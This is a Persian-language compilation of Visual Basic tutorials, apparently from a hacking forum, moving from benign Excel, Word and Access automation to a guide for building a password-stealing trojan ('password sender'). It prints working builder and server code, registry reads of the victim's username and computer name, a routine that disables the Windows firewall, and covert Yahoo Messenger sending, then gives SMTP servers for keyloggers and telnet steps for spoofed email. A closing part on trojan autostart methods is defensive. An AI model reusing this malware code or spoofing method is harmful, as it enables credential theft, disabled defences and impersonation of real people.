 داده مورد نظر = ( ستون ,  سطر ) X_WorkSheet.Cells

  "X_WorkSheet.Cells( 1 , 1 ) = "Ali

"X_WorkSheet.Cells( 1 , 2 ) = "Hassan

_ در مثال بالا رشته Ali در اولین خانه و رشته Hassan در خانه دوم ردیف اول صفحه یا جدول ذخیره می شود و محدوتی برای وارد کردن انواع داده وجود ندارد و شما می توانید هر نوع داده ای را در خانه ها قرار دهید .


» پس از ایجاد یک صفحه کاری و قرار دادن داده در خانه های آن نوبت به ذخیره کردن آن به عنوان یک فایل Excel می رسد که باید از دستور زیر برای این کار استفاده کنیم :

"X_WorkBook.SaveAs FileName:= "C:\Smple.xls


_ همچنین شما میتوانید برای نمایش صفحه کاری خود توسط برنامه اکسل به صورت زیر عمل کنید :


X_Excel.Visible = True

_ و برای خروج از صفحه کاری از دستور زیر استفاده کنید :


X_Excel.Quit

_ این دستور زمانی کاربرد دارد که از دستور قبلی آن استفاده نمایید .


@ کار با Word : کار با این برنامه هم مانند کار با Excel است و تفاوت آنها بیشتر در قسمت وارد کردن داده ها و اطلاعات می باشد . مانند قبل تعریفات زیر را در قسمت General قرار دهید :


Dim X_Word As Word.Application

Dim X_Doc As Word.Document

_ حال برای ایجاد یا باز کردن یک فایل از نوع Word دستور زیر را به کار ببرید :


Set X_Word = New Word.Application

_ سپس شما باید یک پرونده ) Document ) جدید ایجاد کنید :


Set X_Doc = X_Word.Documents.Add

_ پس از انجا این کارها نوبت به وارد کردن داده ها و اطلاعات است که برای این کار شما بیشتر باید از متد Selection مربوط به X_Word استفاده نمایید :


X_Word.Selection.Borders.OutsideLineStyle = wdLineStyleInset

X_Word.Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter

X_Word.Selection.Font.Bold = True

X_Word.Selection.Font.Size = 20

"X_Word.Selection.Text = "Media Soft Is For All

در این مثال پس از تنظیمات دلخواه در صفحه پرونده نوشته ای را در آن قرار می دهیم . البته این متدها فقط تعداد اندکی از امکانات کار با فایل های پرئنده ای است و شما باید خودتان آنها را بررسی کنید .


_ حال مانند مثال قبل نوبت به ذخیره کردن پرونده کاری می رسد که روش آن مانند مثال قبل است :


"X_Doc.SaveAs FileName:="C:\Sample.Doc

_ برای نمایش پرونده کاری خود توسط برنامه Word دستور زیر استفاده کنید :


X_Word.Visible = True

------------------------------------------------------------------------------------


---> برنامه نمونه برای آموزشهای داده شده : دانلود


---> برنامه نمونه برای کپی کردن اطلاعات از Excel به یک پایگاه داده Access : دانلود

---> برنامه نمونه برای کپی کردن اطلاعات از یک پایگاه داده Access به Word : دانلود

*********************************************

روش تغییر پسورد پایگاه داده Access از طریق VB


» این بار قرار است روشی رو به شما عزیزان آموزش بدم که با استفاده از آن می توانید کلمه عبوری را که روی پایگاه داده Access خودتان قرار داده اید از طریق کد نویسی در ویژوال بیسیک تغییر دهید . برای انجام این عمل باید مراحل زیر را انجام دهید .


1. ابتدا یک پروژه را در VB باز کنید . سپس از منوی Project گزینه References را انتخاب کنید تا دیالوگی نمایش داده شود . از لیستی که مشاهده می کنید گزینه ( Microsoft DAO 3.51 Object library ) را علامت بزنید . البته این در صورتی است که پایگاه داده شما پایین تر از فرمت Office 2003 باشد . ( مثلا Office 2000 ) . در غیر این صورت باید گزینه ( MicroSoft DAO 3.6 Object Library )علامت بزنید . تا احیانا با خطایی مواجه نشوید . ( نسخه 3.6 میتواند بهترین انتخاب باشد ).


2. سپس مثلا یک دکمه روی فرم خود گذاشته و نام آن را به Cmd_PassChange و عنوان آن را به PassChange تغییر دهید . حال کدهای زیر را داخل آن بنویسید یا کپی کنید :


Dim db As DAO.Database

("Set db = DBEngine.OpenDatabase(App.Path & "\Test.mdb", True, False, ";pwd=media

"db.NewPassword "media", "ali

db.Close

_ در این مثال ابتدا ما یک متغیر ( db ) را از نوع کتابخانه DAO تعریف می کنیم . در دستور Set کردن پایگاه داده Access توجه داشته باشید که چون پایگاه داده ما از قبل دارای کلمه عبور است ، ما مجبوریم برای ورود به آن از کلمه عبور ( در این مثال media ) استفاده کنیم . همچنین دقت داشته باشید که در این دستور حتما باید مقدار ورودی Option ( مقدار دوم که تعیین می کند ما به تنظیمات پایگاه داده دسترسی داشته باشیم یا نه) مقدار True باشد . درغیر این صورت از تغییر کلمه عبور جلوگیری خواهد شد . در دستور سوم هم که مشاهدی می کنید ، اولین پارامتر ورودی کلمه عبور قبلی و دومین پارامتر ورودی کلمه عبور جدید شما خواهد بود . خط آخر هم در اصطلاح برای بستن پایگاه داده به کار می رود .


برنامه نمونه ---> دانلود

آموزش ساخت پسورد سندر با ویژوال بیسیک

اولا می خوام شما رو با تفاوت بین تروجان و پسورد سندر آشنا کنم. خیلی ها بین این دو تا تفاوت قائل نمی شن در صورتی که درست نیست و این دو از زمین تا آسمون با هم فرق دارن.

پسورد سندر نسبت به تروجان کد نویسی ساده تری داره و اصولا برای این نوشته میشه که یک سری پسورد های خاص رو برای نویسنده ش بفرسته ، مثلا پسورد مسنجرها یا چیزهایی از این قبیل. ولی بک تروجان علاوه براین کارها مهمترین چیزی رو که یک هکر می خواد رو براش میاره یعنی: دسترسی کامل به کامپیوتر قربانی . پس یه تروجان می تونه پسورد سندر و کیلاگر(کی لوگر!!) و خیلی چیزهای دیگه رو هم در خودش داشته باشه. من نمی تونم ادعا کنم که یک تروجان کامل نوشتم ولی پسورد سندری که من نوشتم نسبتا مناسب بود و کارش رو به خوبی انجام می داد( البته اگه ایرادتش رو نگم). پس باید بدونید که هدف من آشنا کردن شما با نحوه ی کد نویسی یک پسورد سندر در وی بی هست

ارتباط بین سرور و ادیت سرور:

خوب کسایی که نمی دونن بدونن که سرور همون فایلی هست که شما به کامپیوتر قربانی واردش می کنید و ادیت سرور تنظیمات این فایل رو انجام می ده. البته پی اس (از این به بعد به پسورد سندر می گم پی اس) هایی هم هستن که بدون ادیت سرور نوشت همی شن و اصولا در اختیار عموم قرار نمی گیرن (مثل کد PS1 در فولدر اصلی مقاله که کار یکی از پی اس نویسای معروف ایران هست و آموزشی هست) ولی خیلی ها دوست دارن پی اس با ادیت سرور بنویسین.

اصولا چند راه هست که این ارتباط رو برقرار کنید و نیازی به قرار دادن سورس سرور در ادیت سرور نیست. من یه راه رو معرفی می کنم که فهمش ساده تر هست و تو پی اس خودم ازش استفاده کردم. (اون راه های دیگه رو اگه دوست داشتید تو فولدر E/S Connection   بررسی کنید که سورس کامل Toxic-Ps ،  Toxic-Cv،  PSGهست .) برای این کار ما به یک Property Bag  نیاز داریم که اطلاعاتی که می خوایم تو سرور باشن رو توسط ادیت سرور خیلی راحت توش بذاریم. بعد هم سرور که اجرا شد اون اطلاعات رو می خونه و ازش استفاده می کنه! به همبن راحتی! (گفتن نه نوشتن) این اطلاعات میتونه هر چیزی باشه مثل آدرس ایمیلی که اطلاعات می خواهید به اونجا فرستاد هبشه و ازاین قبیل. خوب من این کدها رو پایین آوردم و می تونید بررسی کنید چجوری اطلاعات تو فایل سرور نوشته و توسط سرور خونده می شوند.

Edit Server:

 

On Local Error GoTo errTrap

    Dim BeginP As Long

    Dim Bag As New PropertyBag

    Dim Temp As Variant

    Dim mahmoud() As Byte

   

    Dim er As String

    With Bag

        .WriteProperty "id", id.Text

        .WriteProperty "force", force.Value

        .WriteProperty "dial", dial.Value

        .WriteProperty "user", user.Value

        .WriteProperty "com", com.Value

        .WriteProperty "fire", fire.Value

        .WriteProperty "IP", ip.Value

        .WriteProperty "image", preview.Image1.Picture

        .

        .

        .                                                                                                   

    End With

    Open App.Path + "\" + "serv.exe" For Binary As #2

    mahmoud = LoadResData(101, "CUSTOM")

    Put #2, , mahmoud()

    Close #2

 

     FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text

   

  

    Open App.Path & "\" & SrvName.Text For Binary As #1

        BeginP = LOF(1)

               

        Temp = Bag.Contents

               

        Seek #1, LOF(1)

        Put #1, , Temp

        Put #1, , BeginP

   

    Close #1

 

 

  Kill App.Path + "\" + "serv.exe"

  Exit Sub

 

errTrap:

MsgBox Err.Description, vbCritical, "Error"

در اینجا تمام اطلاعات در یک Property Bag  نوشته می شود و بعد هم می ره داخل سرور!

فقط باید بدونید که من ابتدا ریسورس فایل سرور رو داخل ادیت سرور قرار دادم. برای این کارابتدا از قسمت Add-in Manager  ، VB6 Resource Editor رو فغال کنید .بعد رو    کلیک کنید . حالا Add Custom Resource  رو بزنید و فایل سرور رو انتخاب کنید.می تونید اسم این ریسورس رو هم عوض کنید البته من همون 101 رو به صورت پیشفرض انتخاب کردم.قسمتهایی هم که در کد بالا خط کشیدم مربوط به لود کردن همین ریسورس و تبدیل آن به فایل اجرایی است.

 

حالا کدهای مربوط به سرور و نحوه ی خوندن اطلاعات رو بررسی می کنیم.

 

Server:

On Local Error Resume Next

 

    Dim BeginP As Long

    Dim Temp As Variant

    Dim bArr() As Byte

 

    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

        Get #1, LOF(1) - 3, BeginP

 

        Seek #1, BeginP

        Get #1, , Temp

       

        Arr = Temp

        Bag.Contents = Arr

        Bag.WriteProperty "LOF", LOF(1)

        Bag.WriteProperty "BeginPos", BeginPos

 

   Close #1

 

    With Bag

    ID.Caption = .ReadProperty("id")

     FileNameInstall.Caption = .ReadProperty("filename")

     Username.Value = .ReadProperty("user")

      Computername.Value = .ReadProperty("com")

      Firewall.Value = .ReadProperty("fire")

      Rand.Enabled = .ReadProperty("rand")

                                                                                                                .

.                                                                                                                                  

                                                                                                                     

    End With

 

ساده بود نه؟ این کارا رو شما هم می تونید انجام بدید. در اینجا اطلاعات از داخل فایل سرور خونده می شود و بر اساس اون مثلا یک تایمر خاص فعال می شود یا یه چیزی مثل این.

خب می ریم سراغ قسمت اصلی که می خواهیم با هم کدهای مخرب رو بنویسیم. این بستگی داره به مهارت برنامه نویسی  شما و استعداد شما در این زمینه.چون من هیچ وقت نمی تونم اون چیزی رو که دقیقا شما می خواهید بهتون بدم.پس اینجا با کدهای ساده به صورت دسته بندی شده می ریم جلو که خیلی هاشون تو اکثر پی اس ها استفاده  می شن. من اگر بخوام طرز کار همشون رو بهتون خیلی طولانی می شه.پس اینو به خودتون واگذار می کنم. اول تموم توابع API  لازم دارید رو به برنامه اضافه کنید تا مشکلی پیش نیاید.

(زیر اسم توابع API  خط کشیدم).

_______________________________________

Public Function SysDir() As String

  Dim SysPath As String

  SysPath = String(255, vbNullChar)

  GetSystemDirectory SysPath, 255

  SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)

End Function

برگشتی این تابع مسیری تو مایه های C:\WINDOWS\System32  هست!

_______________________________________

Public Property Get ReadKey(Value As String) As String

Dim B As Object

On Error Resume Next

Set B = CreateObject("wscript.shell")

r = B.RegRead(Value)

ReadKey = r

End Property

با این کد می تونید کلید های درون رجیستری رو بخونید که تو دو تابع بعدی ازشون استفاده کردم.

 _______________________________________

Public Sub getuser()

Dim UserString As String

UserString = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")

User.Text = Username

End Sub

با این روال می تونید یوزر نیم کاربری که به ویندوز لاگین کرده رو بدست بیارید .

_______________________________________

Public Sub getCom()

Dim CompName As String

CompName = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultDomainName")

com.Text = CompName

End Sub

با این روال می تونید کامپیوتر نیم قربانی رو بدست بیارید.

 

_______________________________________

 

Public Sub fire()

Dim objFireWall As Object

 Set objFireWall = CreateObject("HNetCfg.FwMgr")

 Set objpolicy = objFireWall.localpolicy.currentprofile

 objpolicy.firewallenabled = False

End Sub

این روال تو اکثر پی اس ها استفاده شده ست و می تونه فایروال ویندوز رو غیر فعال کنه!

_______________________________________

Private Sub CheckW()

Dim hwnd As Long

Dim wn As String

wn = Space(255)

hwnd = GetForegroundWindow

Handle.Text = Str(hwnd)

whandle.text= hwnd

GetWindowText hwnd, wn, GetWindowTextLength(hwnd) + 1

title.Text = wn

End Sub

 

Private sub close()

Dim I as integer

For i=0 to closelist.listCount-1

If closelist.list (i)=title.text then PostMessage whandle, WM_CLOSE, 0&, 0&

Next i

End sub

این دو تا کد با هم کار می کنن.یعنی روال اولی که باید درون یک تایمر باشه، پنجره ی فعال رو تشخیص میده و هندل و عنوان اون رو تو دو تا تکست باکس می ذاره و کد دوم هم هروقت پنجره ی مخصوصی که شما اسمش رو تو Closelist  گذاشتید باز بشه، اون پنجره رو می بنده(این بستگی به شما داره که چجوری بخواهید اسامی پنجره ها رو وارد اون لیست باکس کنید.منظورم بر می گرده به قسمت چگونگی طراحی ادیت سرور).

_______________________________________

 

ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + ID + "&m=" + mess, 0&, App.Path, 0&

این همون کدی هست که باهاش می تونید توسط یاهو مسنجر مسیج برای یک آیدی خاص بفرستید (البته خیلی ابتداییه) .خب بازم این هنر شمایه که چجوری این پیام رو بفرستید که قربانی متوجه نشه. ضمنا بگم در صورتی این کد کارمی کنه که طرف با یاهو لاگین کرده باشه. وگرنه فقط یاهو باز می شه و طرف شک می کنه. همچنین باید بتونید این صفحه رو از دید قربانی مخفی نگه دارید چون همه چی واضح دیده می شه. ببینم چه میکنین!!

××××××××××××××××××××××××××××××××××

 یک کد برای ارسال pm به یاهو 8:

کد:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + Text1.Text + "&m=" + Text2.Text, 0&, App.Path, 0&
SendKeys "{enter}"
End Sub

 ***********************************

حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین:

حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین


Public Declare Function SetForegroundWindow Lib "User32" (ByVal hwnd As Long) As Long
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Public Const SND_ASYNC = &H1
Public Declare Function EnableWindow Lib "User32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "User32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long
Public Declare Function GetMenu Lib "User32" (ByVal hwnd As Long) As Long
Declare Function GetCursorPos Lib "User32" (lpPoint As POINTAPI) As Long
Public Declare Function GetMenuItemID Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function GetMenuString Lib "User32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Public Declare Function GetSubMenu Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function GetWindow Lib "User32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function PostMessage Lib "User32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function SendMessageLong& Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SendMessageByString Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function ShowWindow Lib "User32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Const BM_SETCHECK = &HF1
Public Const BM_GETCHECK = &HF0
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Function Escape Lib "gdi32" (ByVal hdc As Long, _
     ByVal nEscape As Long, ByVal nCount As Long, lpInData As Any, _
     lpOutData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, _
     ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, _
     ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
     ByVal ySrc As Long, ByVal nSrcWidth As Long, _
     ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
     ByVal hObject As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" _
     (ByVal hdc As Long) As Long
    Private Declare Function SwapMouseButton& Lib "User32" _
(ByVal bSwap As Long)
Private Declare Function ShowCursor& Lib "User32" _
(ByVal bShow As Long)
    Private Const WM_SYSCOMMAND = &H112&
    Private Const SC_MONITORPOWER = &HF170&
    Dim mousehide As Boolean
    Dim fliphorizontal As Boolean, flipvertical As Boolean, thechange  'declare the variables
    Dim hIn As Integer
    Dim Sending As Boolean, Sending2 As Boolean, stopit As Boolean
Public Const EWX_FORCE = 4
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1

Public Const CB_GETCOUNT = &H146
Public Const CB_GETLBTEXT = &H148
Public Const CB_SETCURSEL = &H14E

Public Const GW_HWNDFIRST = 0
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5

Public Const LB_GETCOUNT = &H18B
Public Const LB_GETTEXT = &H189
Public Const LB_SETCURSEL = &H186

Public Const SW_HIDE = 0
Public Const SW_MAXIMIZE = 3
Public Const SW_MINIMIZE = 6
Public Const SW_NORMAL = 1
Public Const SW_SHOW = 5

Public Const VK_SPACE = &H20

Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_MOVE = &HF012
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_SETTEXT = &HC
Public LastPoint As POINTAPI

Public lngTPPY As Long
Public lngTPPX As Long

Type POINTAPI
        X As Long
        Y As Long
End Type

Sub SendPM(Who As String, Text As String)
'oz RoOzY
'Ex. : call SendPM("ngsp_public_msg","salam")

Dim imclass As Long, editx As Long
imclass = FindWindow("imclass", vbNullString)
editx = FindWindowEx(imclass, 0&, "edit", vbNullString)
Call SendMessageByString(editx, WM_SETTEXT, 0&, Who)
ChatSend (Text)
End Sub
Sub ChatSend(TheText)
Dim imclass As Long
Dim richedit As Long
Dim Button As Long
imclass& = FindWindow("IMClass", vbNullString)
richedit& = FindWindowEx(imclass&, 0&, "RICHEDIT", vbNullString)
Call SendMessageByString(richedit&, WM_SETTEXT, 0&, TheText)
Button& = FindWindowEx(imclass&, 0&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Call SendMessageLong(Button&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessageLong(Button&, WM_KEYUP, VK_SPACE, 0&)
End Sub
موفق باشی

فیک میلر

به دلیل درخواست زیاد چند تا از دوستان که میخواستن ببینن برای کیلاگری که میسازند از چه smtp باید استفادهخ کنند این اموزش رو گذاشتم

smpt جدید هات میل:mx01.hotmail.com

SMTP های جدید یاهو به قرار زیر است:

e.mx.mail.yahoo.com
f.mx.mail.yahoo.com
g.mx.mail.yahoo.com
a.mx.mail.yahoo.com
b.mx.mail.yahoo.com
c.mx.mail.yahoo.com
d.mx.mail.yahoo.com

mta125.mail.re4.yahoo.com

mta119.mail.re1.yahoo.com 

 mta144.mail.re1.yahoo.com

 mta249.mail.mud.yahoo.com

1- یکی از ساده ترین راهها استفاده از سایتهایی مثل google است که با جستجوی عبارت SMTP Server، هزاران سرور پیدا کنیم.
2- استفاده از SMTP Server سایت دانشگاهها. تجربه برایم ثابت کرده که این روش یکی از بهترینهاست.
3- استفاده از یکسری SMTP Server های مشهور. این روش هم بد نیست.

حالا روش را عملاً نشانتان میدهم:
اول باید یک سرور را مشخص کنید که از طریق آن می خواهید Fake Mail را بفرستید. همانطور که قبلاً گفتم، اگر مثلاً می خواهید برای یک نفر که Mail Box او در یاهو است، Fake Mail بزنید، سرور را همان سرور در نظر بگیرید یعنی از خود yahoo.com برای ارسال استفاده کنید. بعد باید ببینید که در این سرور کدام subdomain باید استفاده کنید (یعنی اینکه SMTP Server سرور آدرسش، mail.yahoo.com است یا mx.yahoo.com است یا چیز دیگر). برای این کار دو روش را میگوم:

1- از nslookup استفاده کنیم:
اول باید با whois یک Name Server پیدا کنیم و بعد از طریق آن، سایت را nslookup کنیم. مثلاً میخواهم SMTP Server مربوط به KsN.com را پیدا کنم. اول یک whois میکنم و می بینم که Name Server سایت، s1.sazin.com و s2.sazin.com است. حالا nslookup میکنم و آن سطرهایی را می خوانم که با نام MX مشخص شده است و دو تا آدرس می بینم که عبارتند از: KsN.com و mail.KsN.com پس SMTP Server های سایت KsN.com همین دو آدرس است. در نتیجه اگر بخواهم از سایت KsN.com برای ارسال Fake Mail استفاده کنم، از این آدرسها باید بهره گیرم.

2- استفاده از بعضی سایتهای خاص:
یکی از این سایتها، http://www.mob.net/~ted/tools/mx.php3 است. در این سایت، نام سایت را می نویسید و دکمه lookup را کلیک میکنید. مثلاً من نوشتم yahoo.com و به نتایج زیر رسیدم:

Domain Server: ns.mob.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.

Domain Server: ns.cw.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.


مشخص است که SMTP Server های سایت yahoo.com عبارتند از:
mx1.mail.yahoo.com, mx2.mail.yahoo.com, mx4.mail.yahoo.com

فرستادن ایمیل جعلی از طریق تلنت

فرستادن ایمیل جعلی از طریق تلنت


هر سرور برای ارسال ایمیل از پروتکل SMTP استفاده میکنه. این پروتکل توانایی خواندن E-mail را نداره و فقط می‌تونه E-mail بفرسته.پورت ۲۵ : این پورت ۲۵ برای ارسال E-mail به‌کار می‌ره و این پورت از برنامه های SMTP Server برای ارسال استفاده می کنه. برای صحبت کردن با پورت ۲۵ اول باید یک Server پیدا کنیم که پورت ۲۵ در آن باز باشه و بعد باید طبق معمول از telnet برای ارتباط استفاده کنیم.
SMTP Server ها اهمیتی نمی‌دهند که شما کی هستید و به کی می‌خواهید میل بزنید، بلکه فقط کار خود را می‌کنند. پس به هر آدرس توجه کامل نکنین، شاید جعلی باشه   چگونه یک SMTP سرور پیدا کنیم :
کار سختی نیست. ولی ما توصیه می‌کنم از سروری کمک بگیرین که مربوط به Mail Box قربانی است. SMTP Server در نهایت روی یک سرور قرار دارد پس در حتما آدرس آن چیزی مثل smtp.noavar.com، mx01.hotmail.com و ... هست.
سایت‌ google رو باز کنید و عبارت SMTP Server را سرچ کنین. هزاران سرور پیدا می کنین.زود برین به آدرس http://www.mob.net/~ted/tools/mx.php3 بعد نام سایت را می‌نویسین و دکمه lookup را کلیک می‌کنین.(مثلا yahoo.com ) و می بینین:
Domain Server: ns.cw.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.
مشخصه که SMTP Server های سایت yahoo.com عبارتند از: mx1.mail.yahoo.com , mx2.mail.yahoo.com , mx4.mail.yahoo.com
 خوب حالا میخوایم به یه نفر (مثلا ای میل بزنیم و میخوایم که طرف خیال کنه که از طرف test_zabet@yahoo.com است. (هر دو در سایت یاهو)  برای این کاراز telnet برای برقراری ارتباط استفاده می کنم. دستور زیر را در اعلان داس تایپ کنین.
telnet mx1.mail.yahoo.com 25
۲۵ همون شماره پورت ای میل هست و از سرور اصلی یاهو هم استفاده کردیم.خوب حالا شما باید این رو بینین:
220 YSmtp mta499.mail.yahoo.com ESMTP service ready
دقت کنید که چون از telnet استفاده می‌کنین، چیزهایی را که تایپ می‌کنین، نمی‌بینین و نمی‌تونید از دکمه BackSpace استفاده کنین.تایپ کنین HELO yahoo.com و جواب می‌شنویم: 250 mta499.mail.yahoo.com
حالا باید مشخص کنم که E-mail فرستنده چیه. پس می‌نویسم: MAIL FROM:test_zabet@yahoo.com
حالا باید بگم که این E-mail به چه آدرس ارسال بشه مثلآ RCPT TO: yaftz@yahoo.com
 وDATAحالا باید بنویسم  Enter بزنم و جواب می‌شنوم:354 go ahead
 اینجا وقت تایپ کردن یک سری چیز‌های اساسی است. اول می‌نویسم
From: R D test_zabet@yahoo.com این همان اسمی است که به عنوان Sender یا همان From دیده میشه. حالا می‌نویسم:salam و بعد Subject این هم در آن E-mail به عنوان subject دیده میشه.
MIME-Version: 1.0
Content-Type: text/plain;
خوب دوبار Enter زده و متن نامه را می‌نویسم:
دقت کنید که یک . (نقطه) در سطر آخر بنویسید و بعد Enter بزنید. با این روش به پورت ۲۵ میگیدکه متن نامه تمام شده.
می‌نویسم QUIT تا ارتباط قطع و از telnet خارج بشیم

فایل های INI. چه هستند؟

فایل های INI. چه هستند؟

این فایل ها در حقیقت فایل های متنی (TXT) ساده هستند، که بوسیله برنامه Notepad می توان یک فایل (TXT) را به سادگی ایجاد کرد.  این فایل ها بوسیله ویندوز و برنامه های تحت ویندوز مورد استفاده قرار می گیرند تا اطلاعاتی در مورد خواسته های شما و محیط عملکرد خود ذخیره کنند. INI. مخفف initialization است.

ساختار فایل INI.:

فایل INI. شامل یک یا چند بخش است هر بخش با یک نام بخش (section name) آغاز می شود که ممکن است، هیچ یا چندین ورودی وجود داشته باشد. که بعد از آن قرار می گیرد.

[بخش]

ارزش=نام کلید

اگر توضیحی وجود داشته باشد بعد از «سمی کالن» (;) قرار می گیرد.

ویندوز از چندین استاندارد برای فایل های INI. استفاده می کند تا اطلاعات پیکر بندی کامپیوتر را ذخیره کند. فایل هایی که این اطلاعات را نگهداری می کنند عبارتند از :

WIN.INI, SYSTEM.INI, PROGMAN.INI, PROTOCOL.INI, SHARED.INI, WINFILE.INI, CONTROL.INI, SCHDPLUS.INI

نرم افزارهای تحت ویندوز هم بعد از نصب شدن ممکن است قسمتهایی به WIN.INI اضافه کنند و همچنین خود فایل های INI. به دایرکتوری ویندوز اضافه کنند.

ایجاد تغییرات در فایل های INI.

چون فایل های INI. از یک متن ساده استفاده می کنند. بوسیله یک برنامه متنی ساده مانند Notepad می توانند ویرایش شوند.

همانطور که در شماره قبل وعده داده بودیم، در این شماره به بررسی روشهای مختلف به کار گرفته شده توسط ترواها برای اجرا شدن با هر بار اجرای ویندوز می پردازیم تا بتوانیم از این طریق آنها را شناسایی و حذف کنیم. اگرچه به روشهای قدیمی هم اشاره مختصری خواهیم کرد، فقط به بررسی روشهای امروزی می پردازیم. با اینکه در مورد حذف ترواها بعداً بیشتر خواهیم نوشت، پس از مطالعه این مقاله شما باید بتوانید نه تنها ترواها، بلکه سایر برنامه های احتمالاً مزاحمی را که با هر بار اجرای ویندوز شما خود را اجرا می کنند بیابید. اگرچه این متن کمی تخصصی به نظر می رسد، اصلاً وحشت نکنید، یکبار آن را با حوصله بخوانید و سپس بار دوم ضمن خواندن متن، کارهای نوشته شده در آن را انجام دهید.

 روشهای مختلفی که یک برنامه می تواند از طریق آنها خود را با هر بار اجرای ویندوز اجرا کند عبارتند از:

 1- استفاده از winstart.bat: در این روش که مناسب ویندوزهای قدیمی است، فایلی به نام winstart.bat در شاحه ویندوز ساخته می شود و برنامه از این فایل فراخوانی می شود؛ به این صورت که اگر این فایل موجود نباشد ساخته می شود و در غیر این صورت فقط نام برنامه به آن اضافه می شود.

